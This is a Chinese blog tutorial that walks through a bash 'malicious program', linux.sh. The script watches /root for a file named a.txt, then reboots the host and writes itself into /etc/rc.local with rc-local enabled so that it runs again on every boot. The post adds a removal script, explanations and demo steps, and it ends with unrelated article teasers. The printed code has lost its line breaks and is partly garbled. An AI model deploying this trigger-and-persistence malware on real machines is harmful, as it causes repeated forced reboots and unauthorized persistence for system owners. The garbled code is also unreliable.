[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 linux 实现需求
    • 2.1 恶意程序 linux.sh 源码
      • 2.1.1 恶意程序 linux.sh 源码
      • 2.1.2 恶意程序 linux.sh 源码讲解
    • 2.2 清除程序 linux-kill.sh 源码
      • 2.2.1 清除程序 linux-kill.sh 源码
      • 2.2.2 清除程序 linux-kill.sh 源码讲解
    • 2.3 演示
      • 2.3.1 恶意程序linux.sh
      • 2.3.2 清除程序linux-kill.sh
      • 2.3.3 恶意文件a.txt
      • 2.3.4 操作步骤
        • 2.3.4.1 后台运行恶意程序
        • 2.3.4.2 特定文件移动到特定目录
        • 2.3.4.3 恶意程序监测到特定文件
        • 2.3.4.4 恶意程序监测到特定文件后重启操作执行成功
        • 2.3.4.5 清除程序 linux-kill.sh 清除恶意程序
        • 2.3.4.6 操作系统再次重启
        • 2.3.4.7 查看 rc.local
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 linux 实现需求

恶意程序 linux.sh 监测特定目录 /root 出现特定文件 a.txt 执行恶意操作 reboot

2.1 恶意程序 linux.sh 源码

2.1.1 恶意程序 linux.sh 源码

#!/bin/bash# 监控的目录
monitored_directory="/root"a=truewhile $a; do# 遍历目录中的文件for file in "$monitored_directory"/*; do# 检查文件是否为a.txtif [ "$(basename "$file")" = "a.txt" ]; thenecho "a.txt 文件已出现在目录中!"sleep 60secho "您的主机将在一分钟后重启!"            reboot a=falsecat > /etc/rc.local << '__EOF__'
#!/bin/bash
sh /root/linux.sh &
exit 0
__EOF__echo "illegal 命令注入成功!"            chmod +x /etc/rc.localsystemctl daemon-reloadsystemctl enable rc-localfidone# 可以添加一些延时,避免过于频繁的遍历sleep 1
done

2.1.2 恶意程序 linux.sh 源码讲解

这个脚本的主要功能是监控指定目录(/root)中的文件变化,当检测到名为 a.txt 的文件出现时,执行一系列操作。以下是对脚本的详细解释:
1.定义监控目录:monitored_directory="/root":设置要监控的目录为 /root。
2.初始化变量:a=true:初始化一个布尔变量 a 为 true,用于控制 while 循环。
3.进入无限循环:while $a; do:使用 while 循环不断检查目录中的文件。
4.遍历目录中的文件:for file in "$monitored_directory"/*; do:使用 for 循环遍历 /root 目录中的所有文件。
5.检查文件是否为 a.txt:if [ "$(basename "$file")" = "a.txt" ]; then:使用 if 语句检查当前文件名是否为 a.txt。
6.如果找到 a.txt 文件:
输出提示信息:echo "a.txt 文件已出现在目录中!"
等待 60 秒:sleep 60s
输出重启提示信息:echo "您的主机将在一分钟后重启!"
重启系统:reboot
修改变量 a 为 false,退出循环:a=false
创建或覆盖 /etc/rc.local 文件,并写入启动命令:
在这里插入图片描述
echo "illegal 命令注入成功!":修改 /etc/rc.local 文件权限为可执行: bash
chmod +x /etc/rc.local: 重新加载 systemd 守护进程配置: bash
systemctl daemon-reload:启用 rc-local 服务: bash
systemctl enable rc-local
7.添加延时避免频繁遍历:sleep 1:在每次循环结束后等待 1 秒,避免过于频繁地遍历目录。

2.2 清除程序 linux-kill.sh 源码

2.2.1 清除程序 linux-kill.sh 源码

#!/bin/bashsudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令file_path="/root/linux.sh"if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

2.2.2 清除程序 linux-kill.sh 源码讲解

#!/bin/bash

这行是Shebang(#!),它告诉操作系统使用哪个解释器来运行这个脚本。在这里,/bin/bash表示使用Bash解释器。

sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令

这两行代码的作用是修改/etc/rc.local文件,删除其中包含特定字符串的命令。具体来说:
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local:使用sed命令编辑/etc/rc.local文件,删除所有匹配sh /root/linux.sh &的行。-i选项表示直接在文件中进行修改。
echo 成功删除/etc/rc.local中illegal命令:输出一条消息,表示已经成功删除了非法命令。
file_path="/root/linux.sh":定义一个变量file_path,其值为/root/linux.sh,即要检查和删除的文件路径。

if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

这段代码是一个条件判断语句,用于检查文件是否存在并执行相应的操作:
if [ -f "$file_path" ]; then:检查$file_path指定的文件是否存在且是一个普通文件。
rm "$file_path":如果文件存在,则删除该文件。
echo "成功删除文件 $file_path":输出一条消息,表示文件已成功删除。
else:如果文件不存在,则执行以下代码块。
echo "文件 $file_path 不存在":输出一条消息,表示文件不存在。

2.3 演示

2.3.1 恶意程序linux.sh

在这里插入图片描述

2.3.2 清除程序linux-kill.sh

目前恶意程序 linux.sh 放在 root 目录下,这个恶意程序是你放在哪个目录都行
在这里插入图片描述

2.3.3 恶意文件a.txt

目前恶意程序 linux-kill.sh 放在 root 目录下,这个清除程序是你放在哪个目录都行

在这里插入图片描述

2.3.4 操作步骤

2.3.4.1 后台运行恶意程序

& 表示后台运行,运行之后会一直监测特定的目录/root

sh /root/linux.sh &

在这里插入图片描述

2.3.4.2 特定文件移动到特定目录

模拟特定目录出现特定文件,将我提前准备好的 a.txt 复制到特定目录 /root

cp /root/Desktop/a.txt /root/a.txt

在这里插入图片描述

2.3.4.3 恶意程序监测到特定文件

我们之前在后台执行得恶意程序监测到文件,回显 a.txt文件已出现在目录中!

在这里插入图片描述

2.3.4.4 恶意程序监测到特定文件后重启操作执行成功

等了一分钟之后,系统成功重启,说明恶意程序监测到特定文件后重启操作执行成功

在这里插入图片描述

2.3.4.5 清除程序 linux-kill.sh 清除恶意程序

回显内容如下:
成功删除/etc/rc.local中非法命令
成功删除文件/root/linux.sh

./linux-kill.sh

在这里插入图片描述

2.3.4.6 操作系统再次重启

因为写入了自启动文件只要启动他就会去执行那个程序,然后他程序里面的恶意操作,就是一分钟后关机。
然后我们清除的一个动作是在他执行程序执行那个恶意程序之后,我们才执行的清除操作,所以说他还会再有一次重启的操作。

在这里插入图片描述

2.3.4.7 查看 rc.local

再次查看rc.local,发现rc.local里面的恶意命令已经被删除
注意:如果查看的时候发现还是存在,可以再次执行 linux-kill.sh 文件进行删除
如果在第一次执行 linux-kill.sh 的时候比操作系统启动项执行得更快就需要再次执行 linux-kill.sh 删除

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/480.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

访问控制技术原理与应用

目录 访问控制概述实现访问控制目标访问控制参考模型常见访问控制模型访问控制模型-DAC自主访问控制访问控制模型-MAC强制访问控制访问控制模型-RBAC基于角色的访问控制访问控制模型-ABAC基于属性的访问控制 访问控制概述 访问控制是对资源对象的访问授权控制的方法以及运行机…

分数阶傅里叶变换与信息熵怎么用于信号处理?

天马行空的理解与思考方式&#xff1a;分数阶傅里叶变换与信息熵怎么用于信号处理&#xff1f; ChiX-Y 快速学习&#xff0c;快速尝试&#xff0c;快速失败 已关注 35 人赞同了该文章 这篇文章希望能写的有趣&#xff0c;同时有质量&#xff0c;学习就是要多维度多角度&…

QT——TCP网络调试助手

目录 一.项目展示 ​编辑 二.开发流程 三.QTcpServer、QTcpSocket、QUdpSocket类的学习 1.QTcpServer服务端 2.QTcpSocket客户端 3.Udp通信 四.网络调试助手 1.首先我们实现当用户选择不同协议类型时不同的UI组件如何切换 2.实现打开/关闭按键图片的切换 方式一&…

怎么压缩pdf文件大小?关于压缩PDF文件大小的几种压缩方法

怎么压缩pdf文件大小&#xff1f;压缩PDF文件能够显著减小文件体积&#xff0c;从而节省硬盘和云存储空间&#xff0c;这对于管理大量文档尤其重要。较小的文件大小使得通过电子邮件或在线平台发送变得更加迅速&#xff0c;缩短了传输时间。同时&#xff0c;压缩后的文件更方便…

使用Scrapy框架爬取博客信息

随着网络的发展&#xff0c;越来越多有价值的信息存储在网络上。使用爬虫技术可以从这些信息源中提取出有用的数据。本文将介绍如何使用Python中的Scrapy框架来爬取博客站点上的文章标题、作者以及阅读数&#xff0c;并将其保存到JSON文件中。 一、项目背景 Scrapy是一个快速…

网络编程 UDP编程 Linux环境 C语言实现

UDP编程 1. 一般UDP编程 UDP传输特点&#xff1a;非面向连接、不可靠的、无序的 报式传输 支持组播和广播 UDP应用数据最大长度建议&#xff1a;MTU(以太网分组数据的最大长度)1500 - 20(IP头) - 8(UDP头) 1472Bytes 客户端&#xff1a;支持两种形式的代码编写: 1. 不定向…

使用linux+nginx 作为unity webgl的服务器

使用linuxnginx 作为unity webgl的服务器 建议使用命令行下载&#xff0c;使用源码编译可能编译不过。 自己创建一个uinty webgl项目&#xff0c;或者下载我上传的unity webgl项目 https://download.csdn.net/download/GoodCooking/24339451下载nginx 使用图形界面 下载ngi…

Flink CDC 同步 Mysql 数据

文章目录 一、Flink CDC、Flink、CDC各有啥关系1.1 概述1.2 和 jdbc Connectors 对比 二、使用2.1 Mysql 打开 bin-log 功能2.2 在 Mysql 中建库建表准备2.3 遇到的坑2.4 测试 三、番外 一、Flink CDC、Flink、CDC各有啥关系 Flink&#xff1a;流式计算框架&#xff0c;不包含 …

【模型学习之路】手写+分析bert

手写分析bert 目录 前言 架构 embeddings Bertmodel 预训练任务 MLM NSP Bert 后话 netron可视化 code2flow可视化 fine tuning 前言 Attention is all you need! 读本文前&#xff0c;建议至少看懂【模型学习之路】手写分析Transformer-CSDN博客。 毕竟Bert是tr…

C#实现隐藏和显示任务栏

实现步骤 为了能够控制Windows任务栏&#xff0c;我们需要利用Windows API提供的功能。具体来说&#xff0c;我们会使用到user32.dll中的两个函数&#xff1a;FindWindow和ShowWindow。这两个函数可以帮助我们找到任务栏窗口&#xff0c;并对其执行显示或隐藏的操作 引入命名空…

Excel菜单选项无法点击?两种原因及解决方法全解析

在使用Excel处理数据时&#xff0c;有时会遇到菜单选项无法点击的情况。这种问题会影响到正常的操作和编辑。出现这种情况的原因可能有多种&#xff0c;本文将介绍两种常见的原因&#xff0c;并提供相应的解决方法&#xff0c;帮助小伙伴们快速恢复菜单选项的正常使用。 原因一…

SpringBoot节奏:Web音乐网站构建手册

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

波尼音乐 2.3.0-b1 | 开源免费的音乐播放器,附两个公共接口

波尼音乐最初作为一个毕设项目&#xff0c;凭借其实现了本地与网络音乐播放的能力而受到许多用户的喜爱。随着百度在线音乐API的关闭&#xff0c;波尼音乐逐渐失去在线音乐播放功能。在开源社区的支持下&#xff0c;开发者发现新的网易云音乐API&#xff0c;重启项目并进行全面…

ComfyUI - ComfyUI 工作流中集成 SAM2 + GroundingDINO 处理图像与视频 教程

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/143359538 免责声明&#xff1a;本文来源于个人知识与公开资料&#xff0c;仅用于学术交流&#xff0c;欢迎讨论&#xff0c;不支持转载。 SAM2 与…

C++原创游戏宝强越狱第二季即将回归

抱歉&#xff0c;3个月以来我不是没时间更&#xff0c;而是懒得更。。。 这不宝强越狱第一季完结了么&#xff0c;所以我决定两个月内弄完宝强越狱第二季&#xff0c;第一个版本将在2025年1月1日发布。不过&#xff0c;我还做了个预告片BQYY预告片-CSDN直播&#xff08;33s的垃…

mysql查表相关练习

作业要求&#xff1a; 单表练习&#xff1a; 1 . 查询出部门编号为 D2019060011 的所有员工 2 . 所有财务总监的姓名、编号和部门编号。 3 . 找出奖金高于工资的员工。 4 . 找出奖金高于工资 40% 的员工。 5 找出部门编号为 D2019090011 中所有财务总监&#xff0c;和…

【笔试题】迈入offer的新大门

1. 笔试题1 1.1 题目链接&#xff1a;[NOIP2010]数字统计_牛客题霸_牛客网 1.2 题目描述 补充&#xff1a; 1.3 解法 1.3.1 算法思路 定义变量&#xff0c;L,R,count用于记数。 对规定符合区域范围内的数据进行遍历&#xff0c;对每个数据的每一位进行判断是否为2&#xf…

Gitee push 文件

1、背景 想将自己的plecs仿真放到git中管理&#xff0c;以防丢失&#xff0c;以防乱改之后丢失之前版本仿真。此操作说明默认用户已下载git。 2、操作步骤 2.1 开启Git Bash 在文件夹中右键&#xff0c;开启Git Bash。 2.2 克隆文件 在Git Bash中打git clone git地址&#…

【AIGC】2024-arXiv-Lumiere:视频生成的时空扩散模型

2024-arXiv-Lumiere: A Space-Time Diffusion Model for Video Generation Lumiere&#xff1a;视频生成的时空扩散模型摘要1. 引言2. 相关工作3. Lumiere3.1 时空 U-Net (STUnet)3.2 空间超分辨率的多重扩散 4. 应用4.1 风格化生成4.2 条件生成 5. 评估和比较5.1 定性评估5.2 …

MySQL高可用MHA

目录 一、MHA概述 1.MHA是什么 2.MHA的组成 3.MHA特点 4.MHA工作原理 二、MySQL部署MHA 1.配置主从复制 2.配置MHA高可用 2.1所有服务器安装MHA依赖环境 2.2所有服务器上安装node组件 2.3在MHA manager节点上安装manager组件 2.4在所有服务器上配置无密码认证 …